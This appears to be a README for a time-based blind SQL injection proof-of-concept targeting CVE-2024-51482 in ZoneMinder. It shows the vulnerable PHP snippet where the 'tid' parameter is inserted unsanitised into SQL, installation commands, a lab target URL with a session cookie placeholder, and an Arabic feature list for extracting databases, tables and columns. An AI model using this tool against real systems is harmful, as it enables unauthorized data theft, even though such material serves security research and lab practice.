case 'removetag':
    $tagId = $_REQUEST['tid'];
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // ← vulnerable
    $rowCount = dbNumRows($sql);

-Python 3.x
-pwntools

git clone https://github.com/lnn0v4/sqli-hunter-CVE-2024-51482-PoC.git
cd sqli-hunter-CVE-2024-51482-PoC
python3 -m venv venv
source venv/bin/activate
pip install pwntools

URL    = "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid="
COOKIE = {"ZMSESSID": "TU_COOKIE_AQUI"}

python3 CVE-2024-51482.py

✅ الكشف التلقائي عن زمن الاستجابة الأساسي
✅ بحث ثنائي باستخدام ASCII (أسرع 7x من القوة الغاشمة)
✅ استخراج متوازٍ باستخدام الخيوط (ThreadPoolExecutor)
✅ قائمة تفاعلية: DB → الجداول → الأعمدة → البيانات
✅ ذاكرة كاش للأعمدة لتجنب إعادة الاستخراج
✅ التنقل بين الجداول دون إعادة تشغيل السكربت